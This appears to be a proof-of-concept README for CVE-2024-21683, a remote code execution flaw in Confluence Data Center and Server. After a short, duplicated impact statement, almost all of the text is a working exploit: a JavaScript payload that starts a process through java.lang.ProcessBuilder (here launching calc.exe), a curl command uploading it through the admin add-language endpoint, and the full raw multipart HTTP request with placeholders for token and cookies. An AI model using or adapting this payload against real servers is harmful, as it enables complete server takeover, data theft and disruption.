absholi7ly/-cve-2024-21683-rce-in-confluence-data-center-and-serverThis vulnerability could allow an attacker to take complete control of a vulnerable Confluence server. This could allow the attacker to steal data, modify data, or disrupt the availability of the server.
This vulnerability could allow an attacker to take complete control of a vulnerable Confluence server. This could allow the attacker to steal data, modify data, or disrupt the availability of the server.
new java.lang.ProcessBuilder["(java.lang.String[])"](["calc.exe"]).start()
And send the request to upload a new language through the command
curl -X POST http://[IP_address]:8090/admin/plugins/newcode/addlanguage.action -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvguW5DY0BuQ87x08" -F "atl_token=[atl_token]" -F "[email protected];filename=exploit.js" -F "newLanguageName=RCE"
POST /admin/plugins/newcode/addlanguage.action HTTP/1.1
Host: 127.0.0.1:8090
Content-Length: 512
Cache-Control: max-age=0
sec-ch-ua:
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1:8090
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvguW5DY0BuQ87x08
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:8090/admin/plugins/newcode/save.action
Accept-Encoding: gzip, deflate, br
Accept-Language: ar,en-US;q=0.9,en;q=0.8
Cookie: [Your cookies ]
Connection: close
------WebKitFormBoundaryvguW5DY0BuQ87x08
Content-Disposition: form-data; name="atl_token"
[ atl_token ]
------WebKitFormBoundaryvguW5DY0BuQ87x08
Content-Disposition: form-data; name="languageFile"; filename="exploit.js"
Content-Type: text/javascript
new java.lang.ProcessBuilder["(java.lang.String[])"](["calc.exe"]).start()
------WebKitFormBoundaryvguW5DY0BuQ87x08
Content-Disposition: form-data; name="newLanguageName"
RCE
------WebKitFormBoundaryvguW5DY0BuQ87x08--